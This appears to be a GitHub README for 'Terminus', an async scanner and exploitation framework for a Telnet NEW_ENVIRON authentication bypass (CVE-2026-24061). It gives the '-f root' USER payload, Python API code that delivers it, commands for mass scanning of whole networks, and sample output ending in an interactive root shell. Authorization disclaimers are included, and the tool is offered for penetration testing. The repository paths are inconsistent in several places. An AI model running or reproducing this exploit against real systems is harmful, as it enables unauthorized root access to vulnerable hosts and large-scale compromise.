
AsyncIO Scanner & Exploitation Framework for CVE-2026-24061 (Telnet NEW_ENVIRON Auth Bypass). Features high-concurrency discovery, passive fingerprinting, and authorized root shell escalation
A security analysis engine for CVE-2026-24061 Telnet NEW_ENVIRON authentication bypass and privilege escalation vulnerability.

Terminus is a professional security research tool designed for authorized penetration testing and vulnerability assessment of CVE-2026-24061. This critical vulnerability affects legacy Telnet daemon implementations, allowing unauthenticated remote attackers to bypass authentication and gain root-level access.
CVE-2026-24061 is a Remote Code Execution vulnerability in Telnet services that support RFC 1572 (Telnet Environment Option). The vulnerability exploits improper sanitization of the USER environment variable during NEW_ENVIRON subnegotiation:
USER=john → prompts for passwordUSER=-f root → bypasses authentication, grants root shellImpact:
Affected Services:
192.168.0.0/24, 10.0.0.0/8)--verify): Proof-of-exploit, confirms uid=0 root accessTerminus.handshake() - RFC 854 compliant handshakeTerminus.exploit() - CVE-2026-24061 payload delivery--exploit flagThe heart of Terminus is the TerminusNegotiator class, which provides a clean separation between protocol handling and exploitation logic:
from terminus import TerminusNegotiator
# Initialize engine
negotiator = TerminusNegotiator()
# Step 1: RFC 854 compliant handshake
await negotiator.handshake(target="192.168.1.100", port=23)
# Step 2: Deliver CVE-2026-24061 payload
result = await negotiator.exploit(payload="-f root")
if result.success:
print(f"Root shell acquired: {result.evidence['uid']}")
Traditional scripts (existing tools):
Target → Raw Socket → Payload → Blind Execution → Hope for Shell
Terminus engine:
Target → Discovery → RFC Handshake → Passive Analysis → Risk Assessment
↓
[Optional] Verified Exploitation → Evidence Collection → Report
# Clone repository
git clone https://github.com/ridpath/Terrminus-CVE-2026-2406.git
# Run setup script
.\setup_env.ps1
# Activate virtual environment
.venv\Scripts\Activate.ps1
# Verify installation
terminus --version
# Clone repository
git clone https://github.com/ridpath/Terrminus-CVE-2026-2406.git
cd Terminus-CVE-2025-2406
# Run setup script
chmod +x setup_env.sh
./setup_env.sh
# Activate virtual environment
source venv/bin/activate
# Verify installation
terminus --version
# Clone repository
git clone https://github.com/ridpath/Terrminus-CVE-2026-2406.git
cd Terrminus-CVE-2026-2406
# Create virtual environment
python3 -m venv venv
# Activate (Linux/macOS/WSL)
source venv/bin/activate
# Activate (Windows PowerShell)
# venv\Scripts\Activate.ps1
# Install dependencies
pip install -e .
# Verify
terminus --version
telnetlib3 - AsyncIO Telnet protocol implementationrich - Terminal UI and formatting (ANSI support on Windows/Linux)pydantic - Data validation and modelsaiofiles - Async file I/Ojinja2 - Report templatingpyyaml - Configuration managementpathlib - Cross-platform path handling (built-in)Note: All dependencies are pure Python or have cross-platform wheels. No platform-specific compilation required.
Enable tab completion for faster command entry:
_TERMINUS_COMPLETE=bash_source terminus > ~/.terminus-complete.bash
echo 'source ~/.terminus-complete.bash' >> ~/.bashrc
source ~/.bashrc
_TERMINUS_COMPLETE=zsh_source terminus > ~/.terminus-complete.zsh
echo 'source ~/.terminus-complete.zsh' >> ~/.zshrc
source ~/.zshrc
_TERMINUS_COMPLETE=fish_source terminus > ~/.config/fish/completions/terminus.fish
# Add to $PROFILE
_TERMINUS_COMPLETE=powershell_source terminus | Out-String | Invoke-Expression
Test it:
terminus <TAB> # Shows: scan, exploit, version
terminus scan -<TAB> # Shows: -t, -f, -p, --verify, etc.
terminus scan -t 192.168.1.100
terminus scan -t 192.168.1.0/24
# targets.txt contains one IP/CIDR per line
terminus scan -f targets.txt --threads 500
terminus scan -t 10.0.0.0/8 --threads 1000 --rate-limit 200
terminus scan -t target.com --passive-only
terminus scan -t target.com --aggressive
terminus scan -t 192.168.1.100 --verify
Check version:
PS C:\terminus> terminus --version
Terminus v1.0.0
CVE-2026-24061 Telnet NEW_ENVIRON Scanner & Exploitation Framework
Signatures database: C:\terminus\signatures.db
Passive scan (default - conservative risk assessment):
PS C:\terminus> python -m terminus scan -t 172.17.45.122 -p 2323
================================================================
TERMINUS
CVE-2026-24061 Scanner & Exploitation Framework
================================================================
Parsing 1 targets...
Found 1 valid targets
Scanning 1 targets... ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% (1/1) Vulnerable: 0 0:00:00
╭────── Scan Summary ──────╮
│ CVE: CVE-2026-24061 │
│ Total Targets: 1 │
│ Scanned: 1 │
│ Failed: 0 │
│ Timeouts: 0 │
│ │
│ Vulnerability Breakdown: │
│ Critical: 0 │
│ High: 0 │
│ Medium: 0 │
│ Low: 1 │
│ Info: 0 │
│ │
│ Duration: 3.53s │
│ Avg Scan Time: 3522.22ms │
│ │
╰──────────────────────────╯
Terminus - CVE-2026-24061 Scan Results
╭───────────────┬──────┬───────────┬──────┬─────────┬─────────┬─────────────┬──────────┬───────────────╮
│ Target │ Port │ Status │ Risk │ Daemon │ Version │ NEW_ENVIRON │ Verified │ Duration (ms) │
├───────────────┼──────┼───────────┼──────┼─────────┼─────────┼─────────────┼──────────┼───────────────┤
│ 172.17.45.122 │ 2323 │ completed │ Low │ unknown │ Unknown │ YES │ - │ 3522.22 │
╰───────────────┴──────┴───────────┴──────┴─────────┴─────────┴─────────────┴──────────┴───────────────╯
No vulnerable targets found
Active verification with --verify (proof-of-exploit):
PS C:\terminus> python -m terminus scan -t 172.17.45.122 -p 2323 --verify
================================================================
TERMINUS
CVE-2026-24061 Scanner & Exploitation Framework
================================================================
Parsing 1 targets...
Found 1 valid targets
Scanning 1 targets... ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% (1/1) Vulnerable: 1 0:00:00
╭────── Scan Summary ──────╮
│ CVE: CVE-2026-24061 │
│ Total Targets: 1 │
│ Scanned: 1 │
│ Failed: 0 │
│ Timeouts: 0 │
│ │
│ Vulnerability Breakdown: │
│ Critical: 1 │
│ High: 0 │
│ Medium: 0 │
│ Low: 0 │
│ Info: 0 │
│ │
│ Duration: 8.04s │
│ Avg Scan Time: 8029.55ms │
│ │
╰──────────────────────────╯
Terminus - CVE-2026-24061 Scan Results
╭───────────────┬──────┬───────────┬──────────┬─────────┬─────────┬─────────────┬──────────┬───────────────╮
│ Target │ Port │ Status │ Risk │ Daemon │ Version │ NEW_ENVIRON │ Verified │ Duration (ms) │
├───────────────┼──────┼───────────┼──────────┼─────────┼─────────┼─────────────┼──────────┼───────────────┤
│ 172.17.45.122 │ 2323 │ completed │ Critical │ unknown │ Unknown │ YES │ ROOT │ 8029.55 │
╰───────────────┴──────┴───────────┴──────────┴─────────┴─────────┴─────────────┴──────────┴───────────────╯
Found 1 vulnerable targets!
Interactive exploitation:
PS C:terminus> python -m terminus exploit -t 172.17.45.122 -p 2323 --yes
================================================================
TERMINUS
CVE-2026-24061 Scanner & Exploitation Framework
================================================================
Attempting exploitation of 172.17.45.122:2323...
Payload: -f root
CVE-2026-24061 exploitation attempt initiated with payload: -f root
CVE-2026-24061 exploitation SUCCESSFUL - root access obtained
[*] CVE-2026-24061 Interactive Shell Started
[*] Type 'exit' or press Ctrl+C to quit
whoami
root
┌──[root@parrot]─[~]
└──╼ #
Key observations:
What it does:
-f root payloaduid=0 in responseUse cases:
Example output:
Target Port Status Daemon Risk Verified
192.168.1.100 23 VULNERABLE inetutils-telnetd CRITICAL ROOT ACCESS
192.168.1.101 23 VULNERABLE netkit-telnetd HIGH Not tested
192.168.1.102 23 SAFE OpenBSD-telnetd LOW N/A
Batch verification:
terminus scan -f targets.txt --verify -o json -w verified_results.json
Note: Active verification attempts exploitation. Only use with proper authorization.
terminus scan -t 192.168.1.0/24 -o json > results.json
terminus scan -f targets.txt -o html -w report.html
terminus scan -t 10.0.0.0/24 -o csv > vulnerabilities.csv
terminus exploit -t 192.168.1.100
# Requires confirmation prompt
# Grants root shell on vulnerable target
terminus exploit -t 192.168.1.100 -c "id"
# Output: uid=0(root) gid=0(root) groups=0(root)
terminus exploit -t 192.168.1.100 --payload "-f admin"
terminus update-signatures
terminus verify -f results.json
terminus version
Terminus is designed for portable deployment - copy the directory to any Windows/Linux system and run without installation:
# Copy terminus directory to target system
# No hardcoded paths - everything is relative
# Run directly (no installation needed)
cd terminus
python3 -m terminus scan -t 192.168.1.0/24
# All output stays in project directory:
# - Logs: ./logs/terminus.log
# - Reports: ./reports/
# - Config: ./config.yaml
Recommended for Windows Red Team workstations - isolated Linux environment for deploying vulnerable test services:
# Windows PowerShell (Admin)
# Install WSL2
wsl --install
# Install Kali Linux
wsl --install -d kali-linux
# OR Install Parrot OS (if available)
# wsl --install -d ParrotOS
# Verify
wsl -l -v
# Update system
sudo apt update && sudo apt upgrade -y
# Install Terminus dependencies
sudo apt install python3 python3-pip python3-venv
# Install testing tools
sudo apt install netkit-telnetd telnetd wireshark tcpdump
# Clone and setup Terminus
git clone https://github.com/ridpath/Terrminus-CVE-2026-2406
cd Terminusb-CVE-2026-2406
./setup_env.sh
source venv/bin/activate
WARNING: Only in isolated lab environments. Never on production systems.
# Inside WSL2
# Install vulnerable netkit-telnetd version
sudo apt install netkit-telnetd=0.17-*
# Configure for NEW_ENVIRON support
# Edit /etc/inetd.conf to enable telnet
# Start service
sudo systemctl restart inetd
# Test from Windows host
# From PowerShell:
# terminus scan -t $(wsl hostname -I)
Test Terminus on all platforms used by your Red Team:
import asyncio
from terminus import TerminusScanner, TerminusExploiter, TerminusNegotiator
from terminus.reporting.models import RiskScore
async def scan_network():
# High-level scanner
async with TerminusScanner() as scanner:
async for result in scanner.scan_targets(["192.168.1.0/24"]):
if result.risk_score == RiskScore.CRITICAL:
print(f"CRITICAL: {result.target}")
print(f" Daemon: {result.daemon_type} {result.version}")
print(f" Confidence: {result.vulnerability_confidence:.2%}")
async def exploit_target():
# Direct engine usage
negotiator = TerminusNegotiator()
# Handshake
success = await negotiator.handshake(target="192.168.1.100", port=23)
if not success:
print("Handshake failed")
return
# Exploit
result = await negotiator.exploit(payload="-f root")
if result.success:
print(f"Root access obtained")
print(f"Evidence: {result.evidence}")
# Run
asyncio.run(scan_network())
This tool is intended ONLY for:
Unauthorized use is ILLEGAL and unethical.
--exploit flagIf you discover vulnerable systems using Terminus:
All paths are relative to project root - works on Windows, Linux, and WSL without modification:
# config.yaml - Cross-platform configuration
# All paths relative to project directory
scanner:
default_port: 23
connect_timeout: 3.0
handshake_timeout: 5.0
max_concurrent: 1000
rate_limit: 100 # connections/second
detection:
passive_only: true # Safe mode by default
banner_timeout: 2.0
heuristic_checks: true
# Signature database (relative path)
signatures_db: "./signatures.db"
exploit:
require_authorization: true
default_payload: "-f root"
evidence_collection: true
interactive_shell: true
reporting:
default_format: "terminal"
include_safe_targets: false
verbosity: "normal"
# Output directory (relative path - works on Windows/Linux)
output_dir: "./reports"
logging:
level: "INFO"
# Log file (relative path - automatic directory creation)
file: "./logs/terminus.log"
format: "json"
console_enabled: true
---
## Acknowledgments
- **SafeBreach Labs:** Original CVE-2026-24061 research and exploit implementation
- **TryA9ain:** Batch scanning approach inspiration
- **RFC Authors:** Telnet protocol specifications
---
| Platform | Installation | Scanning | Exploitation |
|---|
| Windows 10/11 (PowerShell) | Yes | Yes | Yes |
| WSL2 - Kali Linux | Yes | Yes | Yes |
| WSL2 - Parrot OS | Yes | Yes | Yes |
| WSL2 - Ubuntu | Yes | Yes | Yes |
| Native Kali Linux | Yes | Yes | Yes |
| Native Parrot OS | Yes | Yes | Yes |
| macOS | Yes | Yes | Yes |